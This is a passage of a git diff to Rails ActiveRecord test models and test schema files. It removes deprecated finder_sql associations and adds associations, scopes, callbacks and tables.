   has_many :clients_like_ms_with_hash_conditions, -> { where(:name => 'Microsoft').order("id") }, :class_name => "Client"
-  ActiveSupport::Deprecation.silence do
-    has_many :clients_using_sql, :class_name => "Client", :finder_sql => proc { "SELECT * FROM companies WHERE client_of = #{id}" }
-    has_many :clients_using_counter_sql, :class_name => "Client",
-             :finder_sql  => proc { "SELECT * FROM companies WHERE client_of = #{id} " },
-             :counter_sql => proc { "SELECT COUNT(*) FROM companies WHERE client_of = #{id}" }
-    has_many :clients_using_zero_counter_sql, :class_name => "Client",
-             :finder_sql  => proc { "SELECT * FROM companies WHERE client_of = #{id}" },
-             :counter_sql => proc { "SELECT 0 FROM companies WHERE client_of = #{id}" }
-    has_many :no_clients_using_counter_sql, :class_name => "Client",
-             :finder_sql  => 'SELECT * FROM companies WHERE client_of = 1000',
-             :counter_sql => 'SELECT COUNT(*) FROM companies WHERE client_of = 1000'
-    has_many :clients_using_finder_sql, :class_name => "Client", :finder_sql => 'SELECT * FROM companies WHERE 1=1'
-  end
   has_many :plain_clients, :class_name => 'Client'
-  has_many :readonly_clients, -> { readonly }, :class_name => 'Client'
   has_many :clients_using_primary_key, :class_name => 'Client',
            :primary_key => 'name', :foreign_key => 'firm_name'
   has_many :clients_using_primary_key_with_delete_all, :class_name => 'Client',
@@ -119,13 +101,6 @@ class DependentFirm < Company
   has_one :company, :foreign_key => 'client_of', :dependent => :nullify
 end
 
-class RestrictedFirm < Company
-  ActiveSupport::Deprecation.silence do
-    has_one :account, -> { order("id") }, :foreign_key => "firm_id", :dependent => :restrict
-    has_many :companies, -> { order("id") }, :foreign_key => 'client_of', :dependent => :restrict
-  end
-end
-
 class RestrictedWithExceptionFirm < Company
   has_one :account, -> { order("id") }, :foreign_key => "firm_id", :dependent => :restrict_with_exception
   has_many :companies, -> { order("id") }, :foreign_key => 'client_of', :dependent => :restrict_with_exception
@@ -146,7 +121,7 @@ class Client < Company
   belongs_to :firm_with_primary_key_symbols, :class_name => "Firm", :primary_key => :name, :foreign_key => :firm_name
   belongs_to :readonly_firm, -> { readonly }, :class_name => "Firm", :foreign_key => "firm_id"
   belongs_to :bob_firm, -> { where :name => "Bob" }, :class_name => "Firm", :foreign_key => "client_of"
-  has_many :accounts, :through => :firm
+  has_many :accounts, :through => :firm, :source => :accounts
   belongs_to :account
 
   validate do
@@ -202,7 +177,6 @@ class ExclusivelyDependentFirm < Company
   has_one :account, :foreign_key => "firm_id", :dependent => :delete
   has_many :dependent_sanitized_conditional_clients_of_firm, -> { order("id").where("name = 'BigShot Inc.'") }, :foreign_key => "client_of", :class_name => "Client", :dependent => :delete_all
   has_many :dependent_conditional_clients_of_firm, -> { order("id").where("name = ?", 'BigShot Inc.') }, :foreign_key => "client_of", :class_name => "Client", :dependent => :delete_all
-  has_many :dependent_hash_conditional_clients_of_firm, -> { order("id").where(:name => 'BigShot Inc.') }, :foreign_key => "client_of", :class_name => "Client", :dependent => :delete_all
 end
 
 class SpecialClient < Client
@@ -215,6 +189,8 @@ class Account < ActiveRecord::Base
   belongs_to :firm, :class_name => 'Company'
   belongs_to :unautosaved_firm, :foreign_key => "firm_id", :class_name => "Firm", :autosave => false
 
+  alias_attribute :available_credit, :credit_limit
+
   def self.destroyed_account_ids
     @destroyed_account_ids ||= Hash.new { |h,k| h[k] = [] }
   end
diff --git a/activerecord/test/models/company_in_module.rb b/activerecord/test/models/company_in_module.rb
index 461bb0d..38b0b6a 100644
--- a/activerecord/test/models/company_in_module.rb
+++ b/activerecord/test/models/company_in_module.rb
@@ -10,10 +10,6 @@ module MyApplication
       has_many :clients_sorted_desc, -> { order("id DESC") }, :class_name => "Client"
       has_many :clients_of_firm, -> { order "id" }, :foreign_key => "client_of", :class_name => "Client"
       has_many :clients_like_ms, -> { where("name = 'Microsoft'").order("id") }, :class_name => "Client"
-      ActiveSupport::Deprecation.silence do
-        has_many :clients_using_sql, :class_name => "Client", :finder_sql => 'SELECT * FROM companies WHERE client_of = #{id}'
-      end
-
       has_one :account, :class_name => 'MyApplication::Billing::Account', :dependent => :destroy
     end
 
diff --git a/activerecord/test/models/contract.rb b/activerecord/test/models/contract.rb
index 2cf5aa7..cdf7b26 100644
--- a/activerecord/test/models/contract.rb
+++ b/activerecord/test/models/contract.rb
@@ -1,6 +1,7 @@
 class Contract < ActiveRecord::Base
   belongs_to :company
   belongs_to :developer
+  belongs_to :firm, :foreign_key => 'company_id'
 
   before_save :hi
   after_save :bye
diff --git a/activerecord/test/models/developer.rb b/activerecord/test/models/developer.rb
index 81bc87b..0a614c3 100644
--- a/activerecord/test/models/developer.rb
+++ b/activerecord/test/models/developer.rb
@@ -1,11 +1,5 @@
 require 'ostruct'
 
-module DeveloperProjectsAssociationExtension
-  def find_most_recent
-    order("id DESC").first
-  end
-end
-
 module DeveloperProjectsAssociationExtension2
   def find_least_recent
     order("id ASC").first
@@ -19,6 +13,8 @@ class Developer < ActiveRecord::Base
     end
   end
 
+  accepts_nested_attributes_for :projects
+
   has_and_belongs_to_many :projects_extended_by_name,
       -> { extending(DeveloperProjectsAssociationExtension) },
       :class_name => "Project",
@@ -42,8 +38,14 @@ class Developer < ActiveRecord::Base
       end
 
   has_and_belongs_to_many :special_projects, :join_table => 'developers_projects', :association_foreign_key => 'project_id'
+  has_and_belongs_to_many :sym_special_projects,
+                          :join_table => :developers_projects,
+                          :association_foreign_key => 'project_id',
+                          :class_name => 'SpecialProject'
 
   has_many :audit_logs
+  has_many :contracts
+  has_many :firms, :through => :contracts, :source => :firm
 
   scope :jamises, -> { where(:name => 'Jamis') }
 
@@ -165,6 +167,8 @@ class DeveloperCalledJamis < ActiveRecord::Base
 
   default_scope { where(:name => 'Jamis') }
   scope :poor, -> { where('salary < 150000') }
+  scope :david, -> { where name: "David" }
+  scope :david2, -> { unscoped.where name: "David" }
 end
 
 class PoorDeveloperCalledJamis < ActiveRecord::Base
diff --git a/activerecord/test/models/electron.rb b/activerecord/test/models/electron.rb
index 35af9f6..6fc2706 100644
--- a/activerecord/test/models/electron.rb
+++ b/activerecord/test/models/electron.rb
@@ -1,3 +1,5 @@
 class Electron < ActiveRecord::Base
   belongs_to :molecule
+
+  validates_presence_of :name
 end
diff --git a/activerecord/test/models/man.rb b/activerecord/test/models/man.rb
index 4bff92d..f4d1277 100644
--- a/activerecord/test/models/man.rb
+++ b/activerecord/test/models/man.rb
@@ -6,4 +6,5 @@ class Man < ActiveRecord::Base
   # These are "broken" inverse_of associations for the purposes of testing
   has_one :dirty_face, :class_name => 'Face', :inverse_of => :dirty_man
   has_many :secret_interests, :class_name => 'Interest', :inverse_of => :secret_man
+  has_one :mixed_case_monkey
 end
diff --git a/activerecord/test/models/member.rb b/activerecord/test/models/member.rb
index 1134b09..72095f9 100644
--- a/activerecord/test/models/member.rb
+++ b/activerecord/test/models/member.rb
@@ -2,14 +2,13 @@ class Member < ActiveRecord::Base
   has_one :current_membership
   has_one :selected_membership
   has_one :membership
-  has_many :fellow_members, :through => :club, :source => :members
   has_one :club, :through => :current_membership
   has_one :selected_club, :through => :selected_membership, :source => :club
   has_one :favourite_club, -> { where "memberships.favourite = ?", true }, :through => :membership, :source => :club
   has_one :hairy_club, -> { where :clubs => {:name => "Moustache and Eyebrow Fancier Club"} }, :through => :membership, :source => :club
   has_one :sponsor, :as => :sponsorable
   has_one :sponsor_club, :through => :sponsor
-  has_one :member_detail
+  has_one :member_detail, :inverse_of => false
   has_one :organization, :through => :member_detail
   belongs_to :member_type
 
diff --git a/activerecord/test/models/member_detail.rb b/activerecord/test/models/member_detail.rb
index fe619f8..9d253aa 100644
--- a/activerecord/test/models/member_detail.rb
+++ b/activerecord/test/models/member_detail.rb
@@ -1,5 +1,5 @@
 class MemberDetail < ActiveRecord::Base
-  belongs_to :member
+  belongs_to :member, :inverse_of => false
   belongs_to :organization
   has_one :member_type, :through => :member
 
diff --git a/activerecord/test/models/membership.rb b/activerecord/test/models/membership.rb
index bcbb7e4..df7167e 100644
--- a/activerecord/test/models/membership.rb
+++ b/activerecord/test/models/membership.rb
@@ -8,6 +8,11 @@ class CurrentMembership < Membership
   belongs_to :club
 end
 
+class SuperMembership < Membership
+  belongs_to :member, -> { order('members.id DESC') }
+  belongs_to :club
+end
+
 class SelectedMembership < Membership
   def self.default_scope
     select("'1' as foo")
diff --git a/activerecord/test/models/mixed_case_monkey.rb b/activerecord/test/models/mixed_case_monkey.rb
index 763baef..1c35006 100644
--- a/activerecord/test/models/mixed_case_monkey.rb
+++ b/activerecord/test/models/mixed_case_monkey.rb
@@ -1,3 +1,3 @@
 class MixedCaseMonkey < ActiveRecord::Base
-  self.primary_key = 'monkeyID'
+  belongs_to :man
 end
diff --git a/activerecord/test/models/molecule.rb b/activerecord/test/models/molecule.rb
index 69325b8..26870c8 100644
--- a/activerecord/test/models/molecule.rb
+++ b/activerecord/test/models/molecule.rb
@@ -1,4 +1,6 @@
 class Molecule < ActiveRecord::Base
   belongs_to :liquid
   has_many :electrons
+
+  accepts_nested_attributes_for :electrons
 end
diff --git a/activerecord/test/models/movie.rb b/activerecord/test/models/movie.rb
index 6384b4c..0302aba 100644
--- a/activerecord/test/models/movie.rb
+++ b/activerecord/test/models/movie.rb
@@ -1,5 +1,5 @@
 class Movie < ActiveRecord::Base
-  def self.primary_key
-    "movieid"
-  end
+  self.primary_key = "movieid"
+
+  validates_presence_of :name
 end
diff --git a/activerecord/test/models/owner.rb b/activerecord/test/models/owner.rb
index 1c7ed4a..2e3a9a3 100644
--- a/activerecord/test/models/owner.rb
+++ b/activerecord/test/models/owner.rb
@@ -2,4 +2,33 @@ class Owner < ActiveRecord::Base
   self.primary_key = :owner_id
   has_many :pets, -> { order 'pets.name desc' }
   has_many :toys, :through => :pets
+
+  belongs_to :last_pet, class_name: 'Pet'
+  scope :including_last_pet, -> {
+    select(%q[
+      owners.*, (
+        select p.pet_id from pets p
+        where p.owner_id = owners.owner_id
+        order by p.name desc
+        limit 1
+      ) as last_pet_id
+    ]).includes(:last_pet)
+  }
+
+  after_commit :execute_blocks
+
+  def blocks
+    @blocks ||= []
+  end
+
+  def on_after_commit(&block)
+    blocks << block
+  end
+
+  def execute_blocks
+    blocks.each do |block|
+      block.call(self)
+    end
+    @blocks = []
+  end
 end
diff --git a/activerecord/test/models/parrot.rb b/activerecord/test/models/parrot.rb
index c4ee2bd..e76e83f 100644
--- a/activerecord/test/models/parrot.rb
+++ b/activerecord/test/models/parrot.rb
@@ -21,3 +21,9 @@ end
 class DeadParrot < Parrot
   belongs_to :killer, :class_name => 'Pirate'
 end
+
+class FunkyParrot < Parrot
+  before_destroy do
+    raise "before_destroy was called"
+  end
+end
diff --git a/activerecord/test/models/person.rb b/activerecord/test/models/person.rb
index 1a282db..c7e54e7 100644
--- a/activerecord/test/models/person.rb
+++ b/activerecord/test/models/person.rb
@@ -89,6 +89,19 @@ class RichPerson < ActiveRecord::Base
   self.table_name = 'people'
 
   has_and_belongs_to_many :treasures, :join_table => 'peoples_treasures'
+
+  before_validation :run_before_create, on: :create
+  before_validation :run_before_validation
+
+  private
+
+  def run_before_create
+    self.first_name = first_name.to_s + 'run_before_create'
+  end
+
+  def run_before_validation
+    self.first_name = first_name.to_s + 'run_before_validation'
+  end
 end
 
 class NestedPerson < ActiveRecord::Base
diff --git a/activerecord/test/models/pirate.rb b/activerecord/test/models/pirate.rb
index 170fc2f..7bb0caf 100644
--- a/activerecord/test/models/pirate.rb
+++ b/activerecord/test/models/pirate.rb
@@ -13,6 +13,7 @@ class Pirate < ActiveRecord::Base
     :after_add     => proc {|p,pa| p.ship_log << "after_adding_proc_parrot_#{pa.id || '<new>'}"},
     :before_remove => proc {|p,pa| p.ship_log << "before_removing_proc_parrot_#{pa.id}"},
     :after_remove  => proc {|p,pa| p.ship_log << "after_removing_proc_parrot_#{pa.id}"}
+  has_and_belongs_to_many :autosaved_parrots, class_name: "Parrot", autosave: true
 
   has_many :treasures, :as => :looter
   has_many :treasure_estimates, :through => :treasures, :source => :price_estimates
diff --git a/activerecord/test/models/post.rb b/activerecord/test/models/post.rb
index 93a7a20..56974f7 100644
--- a/activerecord/test/models/post.rb
+++ b/activerecord/test/models/post.rb
@@ -1,4 +1,10 @@
 class Post < ActiveRecord::Base
+  class CategoryPost < ActiveRecord::Base
+    self.table_name = "categories_posts"
+    belongs_to :category
+    belongs_to :post
+  end
+
   module NamedExtension
     def author
       'lifo'
@@ -59,6 +65,9 @@ class Post < ActiveRecord::Base
   has_many :author_favorites, :through => :author
   has_many :author_categorizations, :through => :author, :source => :categorizations
   has_many :author_addresses, :through => :author
+  has_many :author_address_extra_with_address,
+    through: :author_with_address,
+    source: :author_address_extra
 
   has_many :comments_with_interpolated_conditions,
     ->(p) { where "#{"#{p.aliased_table_name}." rescue ""}body = ?", 'Thank you for the welcome' },
@@ -72,6 +81,8 @@ class Post < ActiveRecord::Base
   has_many :special_comments_ratings, :through => :special_comments, :source => :ratings
   has_many :special_comments_ratings_taggings, :through => :special_comments_ratings, :source => :taggings
 
+  has_many :category_posts, :class_name => 'CategoryPost'
+  has_many :scategories, through: :category_posts, source: :category
   has_and_belongs_to_many :categories
   has_and_belongs_to_many :special_categories, :join_table => "categories_posts", :association_foreign_key => 'category_id'
 
@@ -122,7 +133,6 @@ class Post < ActiveRecord::Base
   has_many :secure_readers
   has_many :readers_with_person, -> { includes(:person) }, :class_name => "Reader"
   has_many :people, :through => :readers
-  has_many :secure_people, :through => :secure_readers
   has_many :single_people, :through => :readers
   has_many :people_with_callbacks, :source=>:person, :through => :readers,
               :before_add    => lambda {|owner, reader| log(:added,   :before, reader.first_name) },
@@ -135,10 +145,18 @@ class Post < ActiveRecord::Base
   has_many :lazy_readers
   has_many :lazy_readers_skimmers_or_not, -> { where(skimmer: [ true, false ]) }, :class_name => 'LazyReader'
 
+  has_many :lazy_people, :through => :lazy_readers, :source => :person
+  has_many :lazy_readers_unscope_skimmers, -> { skimmers_or_not }, :class_name => 'LazyReader'
+  has_many :lazy_people_unscope_skimmers, :through => :lazy_readers_unscope_skimmers, :source => :person
+
   def self.top(limit)
     ranked_by_comments.limit_by(limit)
   end
 
+  def self.written_by(author)
+    where(id: author.posts.pluck(:id))
+  end
+
   def self.reset_log
     @log = []
   end
@@ -192,3 +210,12 @@ class SpecialPostWithDefaultScope < ActiveRecord::Base
   self.table_name = 'posts'
   default_scope { where(:id => [1, 5,6]) }
 end
+
+class PostThatLoadsCommentsInAnAfterSaveHook < ActiveRecord::Base
+  self.table_name = 'posts'
+  has_many :comments, class_name: "CommentThatAutomaticallyAltersPostBody", foreign_key: :post_id
+
+  after_save do |post|
+    post.comments.load
+  end
+end
diff --git a/activerecord/test/models/project.rb b/activerecord/test/models/project.rb
index f893754..7f42a4b 100644
--- a/activerecord/test/models/project.rb
+++ b/activerecord/test/models/project.rb
@@ -1,25 +1,11 @@
 class Project < ActiveRecord::Base
   has_and_belongs_to_many :developers, -> { distinct.order 'developers.name desc, developers.id desc' }
   has_and_belongs_to_many :readonly_developers, -> { readonly }, :class_name => "Developer"
-  has_and_belongs_to_many :selected_developers, -> { distinct.select "developers.*" }, :class_name => "Developer"
   has_and_belongs_to_many :non_unique_developers, -> { order 'developers.name desc, developers.id desc' }, :class_name => 'Developer'
   has_and_belongs_to_many :limited_developers, -> { limit 1 }, :class_name => "Developer"
   has_and_belongs_to_many :developers_named_david, -> { where("name = 'David'").distinct }, :class_name => "Developer"
   has_and_belongs_to_many :developers_named_david_with_hash_conditions, -> { where(:name => 'David').distinct }, :class_name => "Developer"
   has_and_belongs_to_many :salaried_developers, -> { where "salary > 0" }, :class_name => "Developer"
-
-  ActiveSupport::Deprecation.silence do
-    has_and_belongs_to_many :developers_with_finder_sql, :class_name => "Developer", :finder_sql => proc { "SELECT t.*, j.* FROM developers_projects j, developers t WHERE t.id = j.developer_id AND j.project_id = #{id} ORDER BY t.id" }
-    has_and_belongs_to_many :developers_with_multiline_finder_sql, :class_name => "Developer", :finder_sql => proc {
-      "SELECT
-         t.*, j.*
-       FROM
-         developers_projects j,
-         developers t WHERE t.id = j.developer_id AND j.project_id = #{id} ORDER BY t.id"
-    }
-    has_and_belongs_to_many :developers_by_sql, :class_name => "Developer", :delete_sql => proc { |record| "DELETE FROM developers_projects WHERE project_id = #{id} AND developer_id = #{record.id}" }
-  end
-
   has_and_belongs_to_many :developers_with_callbacks, :class_name => "Developer", :before_add => Proc.new {|o, r| o.developers_log << "before_adding#{r.id || '<new>'}"},
                             :after_add => Proc.new {|o, r| o.developers_log << "after_adding#{r.id || '<new>'}"},
                             :before_remove => Proc.new {|o, r| o.developers_log << "before_removing#{r.id}"},
diff --git a/activerecord/test/models/publisher.rb b/activerecord/test/models/publisher.rb
new file mode 100644
index 0000000..0d4a7f9
--- /dev/null
+++ b/activerecord/test/models/publisher.rb
@@ -0,0 +1,2 @@
+module Publisher
+end
diff --git a/activerecord/test/models/publisher/article.rb b/activerecord/test/models/publisher/article.rb
new file mode 100644
index 0000000..d73a8eb
--- /dev/null
+++ b/activerecord/test/models/publisher/article.rb
@@ -0,0 +1,4 @@
+class Publisher::Article < ActiveRecord::Base
+  has_and_belongs_to_many :magazines
+  has_and_belongs_to_many :tags
+end
diff --git a/activerecord/test/models/publisher/magazine.rb b/activerecord/test/models/publisher/magazine.rb
new file mode 100644
index 0000000..82e1a14
--- /dev/null
+++ b/activerecord/test/models/publisher/magazine.rb
@@ -0,0 +1,3 @@
+class Publisher::Magazine < ActiveRecord::Base
+  has_and_belongs_to_many :articles
+end
diff --git a/activerecord/test/models/reader.rb b/activerecord/test/models/reader.rb
index 3a6b7fa..91afc18 100644
--- a/activerecord/test/models/reader.rb
+++ b/activerecord/test/models/reader.rb
@@ -16,6 +16,8 @@ class LazyReader < ActiveRecord::Base
   self.table_name = "readers"
   default_scope -> { where(skimmer: true) }
 
+  scope :skimmers_or_not, -> { unscope(:where => :skimmer) }
+
   belongs_to :post
   belongs_to :person
 end
diff --git a/activerecord/test/models/record.rb b/activerecord/test/models/record.rb
new file mode 100644
index 0000000..f77ac9f
--- /dev/null
+++ b/activerecord/test/models/record.rb
@@ -0,0 +1,2 @@
+class Record < ActiveRecord::Base
+end
diff --git a/activerecord/test/models/reply.rb b/activerecord/test/models/reply.rb
index c882625..3e82e55 100644
--- a/activerecord/test/models/reply.rb
+++ b/activerecord/test/models/reply.rb
@@ -7,6 +7,7 @@ class Reply < Topic
 end
 
 class UniqueReply < Reply
+  belongs_to :topic, :foreign_key => 'parent_id', :counter_cache => true
   validates_uniqueness_of :content, :scope => 'parent_id'
 end
 
diff --git a/activerecord/test/models/shop.rb b/activerecord/test/models/shop.rb
index 8141422..607a0a5 100644
--- a/activerecord/test/models/shop.rb
+++ b/activerecord/test/models/shop.rb
@@ -5,6 +5,11 @@ module Shop
 
   class Product < ActiveRecord::Base
     has_many :variants, :dependent => :delete_all
+    belongs_to :type
+
+    class Type < ActiveRecord::Base
+      has_many :products
+    end
   end
 
   class Variant < ActiveRecord::Base
diff --git a/activerecord/test/models/student.rb b/activerecord/test/models/student.rb
index f459f2a..28a0b6c 100644
--- a/activerecord/test/models/student.rb
+++ b/activerecord/test/models/student.rb
@@ -1,3 +1,4 @@
 class Student < ActiveRecord::Base
   has_and_belongs_to_many :lessons
+  belongs_to :college
 end
diff --git a/activerecord/test/models/tag.rb b/activerecord/test/models/tag.rb
index a581b38..80d4725 100644
--- a/activerecord/test/models/tag.rb
+++ b/activerecord/test/models/tag.rb
@@ -3,5 +3,5 @@ class Tag < ActiveRecord::Base
   has_many :taggables, :through => :taggings
   has_one  :tagging
 
-  has_many :tagged_posts, :through => :taggings, :source => :taggable, :source_type => 'Post'
-end
\ No newline at end of file
+  has_many :tagged_posts, :through => :taggings, :source => 'taggable', :source_type => 'Post'
+end
diff --git a/activerecord/test/models/topic.rb b/activerecord/test/models/topic.rb
index 17035bf..f81ffe1 100644
--- a/activerecord/test/models/topic.rb
+++ b/activerecord/test/models/topic.rb
@@ -34,7 +34,6 @@ class Topic < ActiveRecord::Base
 
   has_many :replies, :dependent => :destroy, :foreign_key => "parent_id"
   has_many :approved_replies, -> { approved }, class_name: 'Reply', foreign_key: "parent_id", counter_cache: 'replies_count'
-  has_many :replies_with_primary_key, :class_name => "Reply", :dependent => :destroy, :primary_key => "title", :foreign_key => "parent_title"
 
   has_many :unique_replies, :dependent => :destroy, :foreign_key => "parent_id"
   has_many :silly_unique_replies, :dependent => :destroy, :foreign_key => "parent_id"
@@ -107,6 +106,10 @@ class ImportantTopic < Topic
   serialize :important, Hash
 end
 
+class DefaultRejectedTopic < Topic
+  default_scope -> { where(approved: false) }
+end
+
 class BlankTopic < Topic
   # declared here to make sure that dynamic finder with a bang can find a model that responds to `blank?`
   def blank?
diff --git a/activerecord/test/models/treasure.rb b/activerecord/test/models/treasure.rb
index e864295..a69d3fd 100644
--- a/activerecord/test/models/treasure.rb
+++ b/activerecord/test/models/treasure.rb
@@ -3,6 +3,7 @@ class Treasure < ActiveRecord::Base
   belongs_to :looter, :polymorphic => true
 
   has_many :price_estimates, :as => :estimate_of
+  has_and_belongs_to_many :rich_people, join_table: 'peoples_treasures', validate: false
 
   accepts_nested_attributes_for :looter
 end
diff --git a/activerecord/test/schema/oracle_specific_schema.rb b/activerecord/test/schema/oracle_specific_schema.rb
index 3314687..a781777 100644
--- a/activerecord/test/schema/oracle_specific_schema.rb
+++ b/activerecord/test/schema/oracle_specific_schema.rb
@@ -3,7 +3,6 @@ ActiveRecord::Schema.define do
   execute "drop table test_oracle_defaults" rescue nil
   execute "drop sequence test_oracle_defaults_seq" rescue nil
   execute "drop sequence companies_nonstd_seq" rescue nil
-  execute "drop synonym subjects" rescue nil
   execute "drop table defaults" rescue nil
   execute "drop sequence defaults_seq" rescue nil
 
@@ -22,8 +21,6 @@ create sequence test_oracle_defaults_seq minvalue 10000
 
   execute "create sequence companies_nonstd_seq minvalue 10000"
 
-  execute "create synonym subjects for topics"
-
   execute <<-SQL
   CREATE TABLE defaults (
       id integer not null,
diff --git a/activerecord/test/schema/postgresql_specific_schema.rb b/activerecord/test/schema/postgresql_specific_schema.rb
index 6b7012a..a86a188 100644
--- a/activerecord/test/schema/postgresql_specific_schema.rb
+++ b/activerecord/test/schema/postgresql_specific_schema.rb
@@ -1,6 +1,6 @@
 ActiveRecord::Schema.define do
 
-  %w(postgresql_ranges postgresql_tsvectors postgresql_hstores postgresql_arrays postgresql_moneys postgresql_numbers postgresql_times postgresql_network_addresses postgresql_bit_strings postgresql_uuids postgresql_ltrees
+  %w(postgresql_tsvectors postgresql_hstores postgresql_arrays postgresql_moneys postgresql_numbers postgresql_times postgresql_network_addresses postgresql_bit_strings postgresql_uuids postgresql_ltrees
       postgresql_oids postgresql_xml_data_type defaults geometrics postgresql_timestamp_with_zones postgresql_partitioned_table postgresql_partitioned_table_parent postgresql_json_data_type).each do |table_name|
     execute "DROP TABLE IF EXISTS #{quote_table_name table_name}"
   end
@@ -74,18 +74,6 @@ _SQL
   );
 _SQL
 
-  execute <<_SQL if supports_ranges?
-  CREATE TABLE postgresql_ranges (
-    id SERIAL PRIMARY KEY,
-    date_range daterange,
-    num_range numrange,
-    ts_range tsrange,
-    tstz_range tstzrange,
-    int4_range int4range,
-    int8_range int8range
-  );
-_SQL
-
   execute <<_SQL
   CREATE TABLE postgresql_tsvectors (
     id SERIAL PRIMARY KEY,
@@ -221,4 +209,3 @@ _SQL
     t.text :text, limit: 100_000
   end
 end
-
diff --git a/activerecord/test/schema/schema.rb b/activerecord/test/schema/schema.rb
index 7a24d8c..c2e8a54 100644
--- a/activerecord/test/schema/schema.rb
+++ b/activerecord/test/schema/schema.rb
@@ -27,111 +27,129 @@ ActiveRecord::Schema.define do
   #                                                                     #
   # ------------------------------------------------------------------- #
 
-  create_table :accounts, :force => true do |t|
+  create_table :accounts, force: true do |t|
     t.integer :firm_id
     t.string  :firm_name
     t.integer :credit_limit
   end
 
-  create_table :admin_accounts, :force => true do |t|
+  create_table :admin_accounts, force: true do |t|
     t.string :name
   end
 
-  create_table :admin_users, :force => true do |t|
+  create_table :admin_users, force: true do |t|
     t.string :name
-    t.string :settings, :null => true, :limit => 1024
+    t.string :settings, null: true, limit: 1024
     # MySQL does not allow default values for blobs. Fake it out with a
     # big varchar below.
-    t.string :preferences, :null => true, :default => '', :limit => 1024
-    t.string :json_data, :null => true, :limit => 1024
-    t.string :json_data_empty, :null => true, :default => "", :limit => 1024
+    t.string :preferences, null: true, default: '', limit: 1024
+    t.string :json_data, null: true, limit: 1024
+    t.string :json_data_empty, null: true, default: "", limit: 1024
+    t.text :params
     t.references :account
   end
 
-  create_table :aircraft, :force => true do |t|
+  create_table :aircraft, force: true do |t|
     t.string :name
   end
 
-  create_table :audit_logs, :force => true do |t|
-    t.column :message, :string, :null=>false
-    t.column :developer_id, :integer, :null=>false
+  create_table :articles, force: true do |t|
+  end
+
+  create_table :articles_magazines, force: true do |t|
+    t.references :article
+    t.references :magazine
+  end
+
+  create_table :articles_tags, force: true do |t|
+    t.references :article
+    t.references :tag
+  end
+
+  create_table :audit_logs, force: true do |t|
+    t.column :message, :string, null: false
+    t.column :developer_id, :integer, null: false
     t.integer :unvalidated_developer_id
   end
 
-  create_table :authors, :force => true do |t|
-    t.string :name, :null => false
+  create_table :authors, force: true do |t|
+    t.string :name, null: false
     t.integer :author_address_id
     t.integer :author_address_extra_id
     t.string :organization_id
     t.string :owned_essay_id
   end
 
-  create_table :author_addresses, :force => true do |t|
+  create_table :author_addresses, force: true do |t|
   end
 
-  create_table :author_favorites, :force => true do |t|
+  create_table :author_favorites, force: true do |t|
     t.column :author_id, :integer
     t.column :favorite_author_id, :integer
   end
 
-  create_table :auto_id_tests, :force => true, :id => false do |t|
+  create_table :auto_id_tests, force: true, id: false do |t|
     t.primary_key :auto_id
     t.integer     :value
   end
 
-  create_table :binaries, :force => true do |t|
+  create_table :binaries, force: true do |t|
     t.string :name
     t.binary :data
-    t.binary :short_data, :limit => 2048
+    t.binary :short_data, limit: 2048
   end
 
-  create_table :birds, :force => true do |t|
+  create_table :birds, force: true do |t|
     t.string :name
     t.string :color
     t.integer :pirate_id
   end
 
-  create_table :books, :force => true do |t|
+  create_table :books, force: true do |t|
     t.integer :author_id
+    t.string :format
     t.column :name, :string
+    t.column :status, :integer, default: 0
+    t.column :read_status, :integer, default: 0
+    t.column :nullable_status, :integer
   end
 
-  create_table :booleans, :force => true do |t|
+  create_table :booleans, force: true do |t|
     t.boolean :value
-    t.boolean :has_fun, :null => false, :default => false
+    t.boolean :has_fun, null: false, default: false
   end
 
-  create_table :bulbs, :force => true do |t|
+  create_table :bulbs, force: true do |t|
     t.integer :car_id
     t.string  :name
     t.boolean :frickinawesome
     t.string :color
   end
 
-  create_table "CamelCase", :force => true do |t|
+  create_table "CamelCase", force: true do |t|
     t.string :name
   end
 
-  create_table :cars, :force => true do |t|
+  create_table :cars, force: true do |t|
     t.string  :name
     t.integer :engines_count
     t.integer :wheels_count
-    t.column :lock_version, :integer, :null => false, :default => 0
+    t.column :lock_version, :integer, null: false, default: 0
     t.timestamps
   end
 
-  create_table :categories, :force => true do |t|
-    t.string :name, :null => false
+  create_table :categories, force: true do |t|
+    t.string :name, null: false
     t.string :type
     t.integer :categorizations_count
   end
 
-  create_table :categories_posts, :force => true, :id => false do |t|
-    t.integer :category_id, :null => false
-    t.integer :post_id, :null => false
+  create_table :categories_posts, force: true, id: false do |t|
+    t.integer :category_id, null: false
+    t.integer :post_id, null: false
   end
 
-  create_table :categorizations, :force => true do |t|
+  create_table :categorizations, force: true do |t|
     t.column :category_id, :integer
     t.string :named_category_name
     t.column :post_id, :integer
@@ -139,98 +157,106 @@ ActiveRecord::Schema.define do
     t.column :special, :boolean
   end
 
-  create_table :citations, :force => true do |t|
+  create_table :citations, force: true do |t|
     t.column :book1_id, :integer
     t.column :book2_id, :integer
   end
 
-  create_table :clubs, :force => true do |t|
+  create_table :clubs, force: true do |t|
     t.string :name
     t.integer :category_id
   end
 
-  create_table :collections, :force => true do |t|
+  create_table :collections, force: true do |t|
     t.string :name
   end
 
-  create_table :colnametests, :force => true do |t|
-    t.integer :references, :null => false
+  create_table :colnametests, force: true do |t|
+    t.integer :references, null: false
+  end
+
+  create_table :columns, force: true do |t|
+    t.references :record
   end
 
-  create_table :comments, :force => true do |t|
-    t.integer :post_id, :null => false
+  create_table :comments, force: true do |t|
+    t.integer :post_id, null: false
     # use VARCHAR2(4000) instead of CLOB datatype as CLOB data type has many limitations in
     # Oracle SELECT WHERE clause which causes many unit test failures
     if current_adapter?(:OracleAdapter)
-      t.string  :body, :null => false, :limit => 4000
+      t.string  :body, null: false, limit: 4000
     else
-      t.text    :body, :null => false
+      t.text    :body, null: false
     end
     t.string  :type
-    t.integer :taggings_count, :default => 0
-    t.integer :children_count, :default => 0
+    t.integer :taggings_count, default: 0
+    t.integer :children_count, default: 0
     t.integer :parent_id
+    t.references :author, polymorphic: true
+    t.string :resource_id
+    t.string :resource_type
   end
 
-  create_table :companies, :force => true do |t|
+  create_table :companies, force: true do |t|
     t.string  :type
     t.integer :firm_id
     t.string  :firm_name
     t.string  :name
     t.integer :client_of
-    t.integer :rating, :default => 1
+    t.integer :rating, default: 1
     t.integer :account_id
-    t.string :description, :default => ""
+    t.string :description, default: ""
   end
 
-  add_index :companies, [:firm_id, :type, :rating], :name => "company_index"
-  add_index :companies, [:firm_id, :type], :name => "company_partial_index", :where => "rating > 10"
-  add_index :companies, :name, :name => 'company_name_index', :using => :btree
+  add_index :companies, [:firm_id, :type, :rating], name: "company_index"
+  add_index :companies, [:firm_id, :type], name: "company_partial_index", where: "rating > 10"
